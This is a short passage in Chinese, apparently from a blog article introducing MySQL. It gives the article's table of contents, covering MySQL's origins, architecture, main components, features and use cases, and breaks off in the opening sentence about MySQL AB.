文章目录 一、MySQL的由来二、MySQL的架构2.1 客户端2.2 服务器 三、 MySQL的主要组成部分3.1 连接管理器3.2 查询缓存3.3 解析器3.4 查询优化器3.5 执行器3.6 存储引擎 四、MySQL的特点五、MySQL的应用场景六、总结 一、MySQL的由来 MySQL最初是由瑞典公司MySQL AB的Michael …